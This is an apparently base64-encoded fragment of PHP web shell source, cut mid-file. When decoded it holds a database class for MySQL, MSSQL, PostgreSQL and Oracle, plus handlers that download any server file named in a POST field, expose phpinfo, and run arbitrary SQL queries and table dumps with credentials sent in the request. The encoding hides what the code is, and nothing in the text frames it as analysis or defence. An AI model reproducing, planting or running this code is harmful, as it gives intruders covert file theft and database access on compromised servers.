KIHZhciAkdXNlciA9ICcnOw0KIHZhciAkcGFzcyA9ICcnOwkNCiB2YXIgJGJhc2UgPSAnJzsJDQogdmFyICRkYiAgID0gJyc7CQ0KIHZhciAkY29ubmVjdGlvbjsNCiB2YXIgJHJlczsgICAgICAgIA0KIHZhciAkZXJyb3I7ICAgICAgDQogdmFyICRyb3dzOyAgICAgICANCiB2YXIgJGNvbHVtbnM7ICAgICANCiB2YXIgJG51bV9yb3dzOyAgIA0KIHZhciAkbnVtX2ZpZWxkczsgDQogdmFyICRkdW1wOyAgICAgICANCiANCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgewkgICANCiAgCXN3aXRjaCgkdGhpcy0+ZGIpDQogICAgIHsNCiAgCSBjYXNlICdNeVNRTCc6IAkNCiAgCSAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogIAkgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogIAkgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsJDQogIAkgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogIAkgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJubygpLiIgOiAiLkBteXNxbF9lcnJvcigpOw0KICAJIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwkNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgICR0aGlzLT5lcnJvciA9ICJDYW4ndCBjb25uZWN0IHRvIHNlcnZlciI7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQ0KICAgICAgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMtPnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4iJyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOw0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQHBnX2Nvbm5lY3QoJHN0cik7DQogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgICAgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgICBicmVhazsNCiAgICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAb2NpbG9nb24oJHRoaXMtPnVzZXIsICR0aGlzLT5wYXNzLCAkdGhpcy0+YmFzZSk7DQogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IA0KICAgICBicmVhazsNCiAgICAgfQ0KICAgIHJldHVybiAwOyAgIA0KICB9DQogIA0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJIGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgCSAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJybm8oKS4iIDogIi5AbXlzcWxfZXJyb3IoKTsJDQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJIGlmKEBtc3NxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgCSAkdGhpcy0+ZXJyb3IgPSAiQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgfQ0KICAgcmV0dXJuIDA7ICANCiAgfQ0KICANCiBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpDQogIHsgDQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOiAJDQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KICAgICAgeyANCiAgICAgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0gDQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgDQogICAgIHJldHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgCWJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOwkNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsgICAgIA0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOyANCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7CQ0KICAgICAgfQ0KICAgICBlbHNlIA0KICAgICAgeyANCiAgICAgIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKSANCiAgICAgICB7CQ0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsJDQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IA0KICAgICAgfQ0KICAgIGJyZWFrOw0KICAgIH0JDQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsgDQogICAkdGhpcy0+cm93cz1hcnJheSgpOw0KICAgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsNCiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOwkNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IA0KICAJIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7ICAgIA0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9Ow0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7IA0KICAJICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyAgIA0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7DQogICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKSAkdGhpcy0+bnVtX3Jvd3MrKzsNCiAgICAgQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7DQogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsgCQ0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsgDQogICBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsNCiAgICR0aGlzLT5kdW1wPWFycmF5KCk7DQogICAkdGhpcy0+ZHVtcFswXSA9ICcjIyc7DQogICAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgICR0aGlzLT5kdW1wWzJdID0gJyMjICBDcmVhdGVkOiAnLmRhdGUgKCJkL20vWSBIOmk6cyIpOw0KICAgJHRoaXMtPmR1bXBbM10gPSAnIyMgRGF0YWJhc2U6ICcuJHRoaXMtPmJhc2U7DQogICAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7DQogICAkdGhpcy0+ZHVtcFs1XSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAJY2FzZSAnTXlTUUwnOg0KICAJICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOw0KICAJIGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddLiI7IjsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30JDQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsJDQogIAkgIH0JDQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAJICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30JDQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsJDQogIAkgIH0JDQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9IAkNCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOwkNCiAgCSAgfSAJDQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE9SQUNMRSBkdW1wJzsNCiAgICAgICR0aGlzLT5kdW1wW10gID0gJyMjIHVuZGVyIGNvbnN0cnVjdGlvbic7IA0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAxOyAJDQogIH0NCiBmdW5jdGlvbiBjbG9zZSgpDQogIHsgDQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzogDQogIAkgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgCQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9CQ0KICB9DQogZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpDQogIHsgDQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IAkNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIHJldHVybiBAbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgcmV0dXJuIDA7DQogICAgYnJlYWs7DQogICAgfQkNCiAgfQ0KIH0gDQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCiB7DQogIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogIGVsc2UgDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIHsgaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsgICANCiAgICBlY2hvICRmaWxlZHVtcDsNCiAgICBleGl0KCk7DQogICB9CQkNCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpDQogew0KIGVjaG8gJGhlYWQ7DQogJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107DQogJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOwkNCiAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNCiBlY2hvICc8Ym9keSBiZ2NvbG9yPSNlNGUwZDg+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOw0KICBlbHNlIA0KICAgew0KICAgaWYoIWVtcHR5KCRzcWwtPmJhc2UpJiYhJHNxbC0+c2VsZWN0X2RiKCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvZGl2PiI7CQ0KICAgZWxzZQ0KICAgIHsNCiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSANCiAgICAgew0KICAgICAgaWYoc3RybGVuKCRxdWVyeSk+NSkNCiAgICAgIHsJDQogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1ncmVlbj48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7DQogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkNCiAgICAgICB7DQogICAgICAgY2FzZSAnMCc6DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICBicmVhazsJDQogICAgICAgY2FzZSAnMSc6IA0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAgew0KICAgICAgIAllY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOw0KICAgICAgICBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgCSRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOw0KICAgICAgICBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0KICAgICAgICAgew0KICAgICAgICAgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAkdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4mbmJzcDsiLCRzcWwtPnJvd3NbJGldKTsNCiAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsgDQogICAgICAgIH0NCiAgICAgICBicmVhazsJDQogICAgICAgY2FzZSAnMic6DQogICAgICAgJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOignMCcpOyANCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsJIAkNCiAgICAgICB9CQ0KICAgICAgfQ0KICAgICB9DQogICAgfQ0KICAgfSAgIA0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW